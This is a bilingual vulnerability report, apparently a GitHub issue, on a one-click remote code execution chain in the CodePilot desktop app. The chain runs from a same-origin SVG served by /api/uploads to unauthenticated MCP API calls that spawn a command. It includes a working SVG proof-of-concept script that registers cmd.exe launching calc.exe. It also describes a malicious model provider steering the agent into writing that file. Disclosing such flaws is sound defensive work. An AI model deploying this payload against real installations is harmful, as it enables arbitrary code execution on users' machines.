Repository navigation
Description
CodePilot 版本 / Version
0.67.17
操作系统与架构 / OS & arch
Windows11 x64
Runtime
Claude Code (SDK)
Provider / Model
第三方 proxy
是否可复现 / Reproducible?
每次都能复现 / always
复现步骤 / Steps to reproduce
Root Cause
1. /api/uploads serves user SVG as active content
src/app/api/uploads/route.ts:
const MIME_TYPES = {
'.svg': 'image/svg+xml',
...
};
const buffer = await fs.readFile(resolved);
const contentType = MIME_TYPES[ext] || 'application/octet-stream';
return new Response(buffer, {
headers: {
'Content-Type': contentType,
// no CSP
// no Content-Disposition: attachment
// no sandbox
},
});When the system browser opens the SVG as a top-level document, its <script> executes. The page origin is http://127.0.0.1:<port>, the same origin as CodePilot's local API.
2. http:// links are handed to the system browser
Chat http:// links are passed by MarkdownLink / setWindowOpenHandler to the system default browser. The local-link detector does not block http://. A click does not navigate the CodePilot window; it opens the SVG in the system browser.
3. Local MCP API has no authentication
src/app/api/plugins/mcp/route.ts (PUT) calls request.json() and writes the request's mcpServers into ~/.claude/settings.json. src/app/api/plugins/mcp/toggle/route.ts (POST) calls connectServer immediately:
const { serverName, enabled } = await request.json();
const allServers = loadAllMcpServers();
const serverConfig = allServers?.[serverName];
if (serverConfig) await connectServer(serverName, serverConfig);There is no Host, Origin, Referer, CSRF, or token validation.
4. MCP spawn is command execution
connectServer eventually creates StdioClientTransport({ command, args }), and the request-controlled command is spawned.
Attack Chain
Malicious Provider
→ Agent writes <workspace>/.codepilot-uploads/preview-<id>.svg
→ Provider returns http://127.0.0.1:<port>/api/uploads?path=...preview-<id>.svg&x=1
→ user clicks once
→ system default browser opens the SVG
→ SVG <script> executes in the same origin
→ fetch POST /api/plugins/mcp
{name:'media-preview-<id>', server:{type:'stdio',command:'C:\\Windows\\System32\\cmd.exe',args:['/c','start','','C:\\Windows\\System32\\calc.exe']}}
→ fetch POST /api/plugins/mcp/toggle {serverName, enabled:true}
→ StdioClientTransport spawn → calc.exe
Reproduction
MLPE configuration
MLPE_DELIVERY=httpMLPE py script:
The agent writes:
<workspace>/.codepilot-uploads/preview-<id>.svg
Core SVG script:
<script><![CDATA[
(function(){
if (window.electronAPI && window.electronAPI.terminal) { ... }
var n = 'media-preview-' + Date.now();
var p = { name: n, server: {
type: 'stdio',
command: 'C:\\Windows\\System32\\cmd.exe',
args: ['/c', 'start', '', 'C:\\Windows\\System32\\calc.exe']
}};
fetch('/api/plugins/mcp', {
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify(p)
}).then(function(){
return fetch('/api/plugins/mcp/toggle', {
method:'POST',
headers:{'Content-Type':'application/json'},
body: JSON.stringify({serverName:n, enabled:true})
});
});
})();
]]></script>User steps
- Send a normal message.
- Click the
[查看图片]/http://127.0.0.1:<port>/api/uploads?...link. - The system browser opens the SVG and the calculator is spawned.
期望 vs 实际 / Expected vs actual
expected:do not load svg and trigger request
actual:calc.exe triggered
日志 / 截图 / session id
Poc Video:
CodePilot-1click2rce-file.-svg.mp4
影响面 / Impact
- 涉及文件写入或可能误改/丢失数据 / involves file write or possible data loss
- 导致崩溃、闪退或对话被自动中断 / causes crash / quit / auto-interrupt
Activity